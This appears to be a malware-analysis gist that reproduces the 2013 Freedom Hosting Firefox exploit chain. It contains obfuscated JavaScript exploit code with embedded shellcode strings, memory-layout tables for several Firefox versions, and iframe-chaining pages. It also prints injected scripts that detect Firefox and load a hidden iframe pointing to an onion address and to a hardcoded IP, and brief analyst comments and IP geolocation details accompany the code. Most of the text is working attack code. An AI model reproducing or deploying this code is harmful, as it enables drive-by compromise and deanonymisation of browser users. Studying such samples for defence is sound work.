"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u312f\u3866"+"\u6134\u3165"+"\u2d64\u6230"+"\u3531\u342d"+"\u6434\u2d63"+"\u3939\u3336"+"\u382d\u6362"+"\u3739\u3131"+"\u3430\u3935"+"\u2030\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
var var29 = magneto;
var var17 = "\u9060";
var var18 = "\u9061";
var var19 = "\uC481\u0000\u0008" ;
var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var22 = "\uE589";
var var23 ="\uC3C9";
var var24 = "\uE889";
var24 += "\u608D\u90C0";
var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
var var26 = var25 + var16*4
var var27 =""
var27 += "\uB890\u2020\u2020";
var27 += "\uA390"+ae(var26+0x00);
var27 += "\uA390"+ae(var26+0x04);
var27 += "\uA390"+ae(var26+0x08);
var27 += "\uA390"+ae(var26+0x0C);
var var28 = var17;
var28 += var20;
var28 += var19;
var28 += var22;
var28 += var27;
var28 += var29;
var28 += var21;
var28 += var18;
var28 += var23;
var var29Array = new Array();
var29Array=ag(var28);
var var29Ad = var13+0x5010;
var i=0;
var j=0;
var var30=var13+0x4048;
var var31 = new Array();
var31[0]=var30;
var31[1]=var30;
var31[2]=var30;
var31[3]=var15[1];
var31[4]=var29Ad;
var31[5]=0xFFFFFFFF;
var31[6]=var13+0x4044;
var31[7]=var13+0x4040;
var31[8]=0x00000040;
var31[9]=var13+0x4048;
var31[10]=0x00040000;
var31[11]=var29Ad;
var31[12]=var13+0x301C;
for(var i=0 ; i < 0x140 ; i++)
{
var31[i+15]=var15[0];
}
var var32 = 0x3F8;
view[0x800+0+var32]=var13+0x4018;
view[0x800+1+var32]=var13+0x4018;
for(var i=2 ; i < var31.length ; i++)
{
view[0x800+i+var32]= 0x41414141;
}
for(var i=0 ; i < var31.length ; i++)
{
view[0xC02+i+var32]= var31[i];
}
for(var i=0 ; i < var29Array.length ; i++)
{
view[0x1000 + i+var32] = var29Array[i];
}
}
function g(var50,view)
{
var k = h(var50,view);
var j=0;
if( k < 0 )
return -1;
view[0x404+k]=var13+0x3010;
return 1;
}
function h(var50,view)
{
var address=0;
var u=0;
var memory="";
var var55=0;
for( u =7; u >=4 ;u--)
{
address=view[0x404+u];
if( address > 0x000A0000 && address < 0x80000000 )
{
memory = i(address,0x48,var50,view);
var55=af(memory[0x14]+memory[0x15]);
if(var55==address)
{
return u;
}
}
}
return -1;
}
function i(address,size,var50,view)
{
var var56 = size/2;
var56 = var56*0x10 +0x04;
view[0x400]=var56;
view[0x401]=address;
return var4[var50][0];
}
function j(memory,view)
{
var intArray=ag(memory);
for(var i=0 ; i < intArray.length ; i++)
{
view[0x404+i]=intArray[i];
}
}
function k()
{
for(var j=0;j<var1;j++)
{
if(var2[j].byteLength!=var5)
{
return j;
}
}
return -1;
}
function l(view,var58)
{
view[var58] = var13 + 0x1030;
view[var58+1] = 0xFFFFFF85;
}
function m(view,var58)
{
view[var58]=0x00000000;
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
if(var4[j][0]!=0x22556611)
return j;
}
}
return -1
}
function n(view,firstvar58)
{
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
var var58=0;
for(var i=0;i<200;i++)
{
if(view[var58] != 0x11336688)
{
if(view[var58] == 0x22556611 )
return var58;
else
return -1;
}
if(var58==0)
{
var58 = firstvar58;
}else{
var var59=view[var58-0x0C];
var58 = (var59 - var57)/4;
}
}
return -1;
}
function o(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
var var59 = view[0x00100000/4-0x0C];
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
return ((var59 - var57)/4);
}
function p()
{
for(var j=0;j<var1;j++)
{
for(var i=1;i<16;i++)
{
if(var3[j][i*0x4000-0x02]==0x01000000)
{
return -i;
}
}
}
return 0;
}
function q(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var7;
if(var2[var60+1].byteLength==var7)
return var60+1;
return -1;
}
function r(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var5;
}
function t()
{
if(typeof sessionStorage.tempStor !="undefined")
return false;
sessionStorage.tempStor="";
return true;
}
function u()
{
if( t() == true )
{
var9 = 1;
b();
d();
c();
}else{
return ;
}
}
function v()
{
if(k() == -1)
{
var11 = p();
var9 = 2;
c();
}else{
x();
}
}
function w()
{
if(var9==1)
v();
else
x();
}
function x()
{
var var60 = k();
if(var60==-1)
return ;
var nextvar60 = q(var60);
if(nextvar60==-1)
return ;
var var61 = o(var60);
var var62 = new Int32Array(var2[nextvar60],0,var8);
var var58 = n(var62,var61);
if(var58==-1)
return ;
var var50 = m(var62,var58);
var13 = var10 + 0x00100000 + 0x00010000 * var11;
e(var62);
l(var62,var58);
var var64 = var4[var50][0];
ac(var64,var50,var62,var58,var60);
}
function y(index)
{
var4[index][1]= document.createElement('span') ;
}
function z(index,index2)
{
var4[index][1].innerHTML;
}
function aa(view,var63)
{
return view[var63];
}
function ab(address,view,var63)
{
view[var63]=address;
}
function ac(var64,var50,var62,var58,var60)
{
var var15=ah(var64);
f(var15,var62,var58);
y(var50);
var var66 = aa(var62,var58+2);
var var67 = i(var66,0x40,var50,var62) ;
j(var67,var62);
g(var50,var62);
ab(var13+0x1040 ,var62,var58+2);
r(var60)
setTimeout(ad,1000);
z(var50);
}
function ad()
{
for(var j=0;j<var1;j++)
{
delete var3[j]
var3[j]= null;
delete var2[j];
var2[j] = null;
if(typeof var4[j] !="undefined")
{
delete var4[j];
var4[j] = null;
}
}
delete var2;
delete var3;
delete var4;
var2=null;
var3=null;
var4=null;
}
function ae(int32)
{
var var68 = String.fromCharCode((int32)& 0x0000FFFF);
var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
return var68+var69;
}
function af(string)
{
var var70 = string.charCodeAt(0);
var var71 = string.charCodeAt(1);
var var72 = (var71 << 16) + var70;
return var72;
}
function ag(string)
{
if(string.length%2!=0)
string+="\u9090";
var intArray= new Array();
for(var i=0 ; i*2 < string.length; i++ )
intArray[i]=af(string[i*2]+string[i*2+1]);
return intArray;
}
function ah(var73)
{
var var74 = var73.substring(0,2);
var var70 = var74.charCodeAt(0);
var var71 = var74.charCodeAt(1);
var var75 = (var71 << 16) + var70;
if (var75 == 0)
{
var var76 = var73.substring(32, 34);
var var70 = var76.charCodeAt(0);
var var71 = var76.charCodeAt(1);
var75 = (var71 << 16) + var70;
}
var var15 = am(var75);
if (var15 == -1)
{
return;
}
return var15
}
function aj(version)
{
var i = navigator.userAgent.indexOf("Windows NT");
if (i != -1)
return true;
return false;
}
function ak()
{
var ua = navigator.userAgent;
var browser = ua.substring(0, ua.lastIndexOf("/"));
browser = browser.substring(browser.lastIndexOf(" ") + 1);
if (browser != "Firefox")
return -1;
var version = ua.substring(ua.lastIndexOf("/") + 1);
version = parseInt(version.substring(0, version.lastIndexOf(".")));
return version;
}
function al()
{
version = ak();
if (!aj(version))
return -1;
return version;
}
function am(var77)
{
var var15 = new Array(2);
if (var77 % 0x10000 == 0xE510)
{
var78 = var77 - 0xE510;
var15[0] = var78 + 0xE8AE;
var15[1] = var78 + 0xD6EE;
}
else if (var77 % 0x10000 == 0x9A90)
{
var78 = var77 - 0x69A90;
var15[0] = var78 + 0x6A063;
var15[1] = var78 + 0x68968;
}
else if (var77 % 0x10000 == 0x5E70)
{
var78 = var77 - 0x65E70;
var15[0] = var78 + 0x66413;
var15[1] = var78 + 0x64D34;
}
else if (var77 % 0x10000 == 0x35F3)
{
var78 = var77 - 0x335F3;
var15[0] = var78 + 0x4DE13;
var15[1] = var78 + 0x49AB8;
}
else if (var77 % 0x10000 == 0x5CA0)
{
var78 = var77 - 0x65CA0;
var15[0] = var78 + 0x66253;
var15[1] = var78 + 0x64B84;
}
else if (var77 % 0x10000 == 0x5CD0)
{
var78 = var77 - 0x65CD0;
var15[0] = var78 + 0x662A3;
var15[1] = var78 + 0x64BA4;
}
else if (var77 % 0x10000 == 0x6190)
{
var78 = var77 - 0x46190;
var15[0] = var78 + 0x467D3;
var15[1] = var78 + 0x45000;
}
else if (var77 % 0x10000 == 0x9CB9)
{
var78 = var77 - 0x29CB9;
var15[0] = var78 + 0x29B83;
var15[1] = var78 + 0xFFC8;
}
else if (var77 % 0x10000 == 0x9CE9)
{
var78 = var77 - 0x29CE9;
var15[0] = var78 + 0x29BB3;
var15[1] = var78 + 0xFFD8;
}
else if (var77 % 0x10000 == 0x70B0)
{
var78 = var77 - 0x470B0;
var15[0] = var78 + 0x47733;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x7090)
{
var78 = var77 - 0x47090;
var15[0] = var78 + 0x476B3;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x9E49)
{
var78 = var77 - 0x29E49;
var15[0] = var78 + 0x29D13;
var15[1] = var78 + 0x10028;
}
else if (var77 % 0x10000 == 0x9E69)
{
var78 = var77 - 0x29E69;
var15[0] = var78 + 0x29D33;
var15[1] = var78 + 0x10018;
}
else if (var77 % 0x10000 == 0x9EB9)
{
var78 = var77 - 0x29EB9;
var15[0] = var78 + 0x29D83;
var15[1] = var78 + 0xFFC8;
}
else
{
return -1;
}
return var15;
}
window.addEventListener("onload", u(),true);
</script>
# Ref: http://www.twitlonger.com/show/n_1rlo0uu
# [...] Calls are made between the frames to further obfuscate the control flow. The 'content_2.html' and 'content_3.html'
# files are only served up if the request "looks like" Firefox and has a correct Referer header. The 'content_2.html'
# is loaded from the main exploit iframe and in turn loads 'content_3.html'.
# This is the content_2.html
# URL: nl7qbezu7pqsuone.onion/content_2.html:
<html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
// beautified:
<html>
<body></body>
</html>
<script>
var y = "?????",
url = window.location.href;
if (0 > url.indexOf(y)) {
var iframe = document.createElement("iframe");
iframe.src = "content_3.html";
document.body.appendChild(iframe)
} else parent.w();
function df() {
return parent.df()
};
</script>
# This is the content_3.html
# URL: nl7qbezu7pqsuone.onion/content_3.html:
<script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
</script>
// beautified:
<script>
var y = "?????",
z = "",
z = z + "<body",
z = z + ">",
z = z + "<img",
z = z + " height='1' width='1' src='error.html'",
z = z + ' onerror="javascript: ',
z = z + ("window.location.href='content_2.html" + y + "';\" "),
z = z + ">",
z = z + "</body",
z = z + ">",
flag = !1,
var83 = 0;
function b() {
for (var e = Array(1024), d = Array(1024), c = 0; 1024 > c; c++) e[c] = new ArrayBuffer(180);
for (c = 0; 1024 > c; c++) d[c] = new Int32Array(e[c], 0, 45), d[c][9] = var83;
return d
}
function a() {
!1 == flag && (flag = !0, window.stop());
window.stop();
b();
window.parent.frames[0].frameElement.ownerDocument.write(z);
b()
}
var83 = parent.df();
0 != var83 && document.addEventListener("readystatechange", a, !1);
</script>
----
#MAlwareMustDie!!
Raw
payload1
# MalwareMustDie!
# This is the malicious Javascript set codes injected to the Freedom Hosting site
# It contents the IFRAMER Malware method to redirect the victim to infector site, in url:
# http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0
#
# Original copy at: www.twitlonger.com/show/n_1rlo0uu
# See the Iframer part and tell me if this is NOT adapting malware techniques, and NOT blindly infect every visitor to that site!!
# Ref: http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/
# Ref: https://www.mozilla.org/security/announce/2013/mfsa2013-53.html
# Ref: http://www.twitlonger.com/show/n_1rlo0uu
# Ref: http://pastebin.com/bu2Ya0n6
# Ref: http://pastebin.com/pmGEj9bV
// Case 1
function createCookie(name,value,minutes) {
if (minutes) {
var date = new Date();
date.setTime(date.getTime()+(minutes*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function isFF() {
return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
}
function updatify() {
var iframe = document.createElement('iframe');
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0";
iframe.height = "5";
iframe.width = "*";
document.body.appendChild(iframe);
}
function format_quick() {
if ( ! readCookie("n_serv") ) {
createCookie("n_serv", "203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0", 30);
updatify();
}
}
function isReady()
{
if ( document.readyState === "interactive" || document.readyState === "complete" ) {
if ( isFF() ) {
format_quick();
}
}
else
{
setTimeout(isReady, 250);
}
}
setTimeout(isReady, 250);
// Case 2
function createCookie(name, value, minutes) {
if (minutes) {
var date = new Date();
date.setTime(date.getTime() + (minutes * 60 * 1000));
var expires = "; expires=" + date.toGMTString();
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
function isFF() {
return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
}
function updatify() {
var iframe = document.createElement('iframe');
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66"; <== (1) 1ST CALLBACK SELF EXPLANATORY
iframe.height = "5";
iframe.width = "*";
document.body.appendChild(iframe);
}
function freedomhost() {
if (!readCookie("n_serv")) {
createCookie("n_serv", "eb5f2c80-fc81-11e2-b778-0800200c9a66", 30);
updatify();
}
}
function isReady() {
if (document.readyState === "interactive" || document.readyState === "complete") {
if (isFF()) {
//window.alert(window.location + "Firefox Detected.")
freedomhost();
}
} else {
setTimeout(isReady, 250);
}
}
setTimeout(isReady, 250);
// Noted, same method,
// second script is w/IP info callback, contacting remote host as per marked (1)
IP Address: 65.222.202.53
City: Triadelphia
State or Region: West Virginia
Country: United States
ISP: Verizon Business
Latitude & Longitude: 40.0900-80.6220
Domain: verizonbusiness.com
ZIP Code: 26059
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment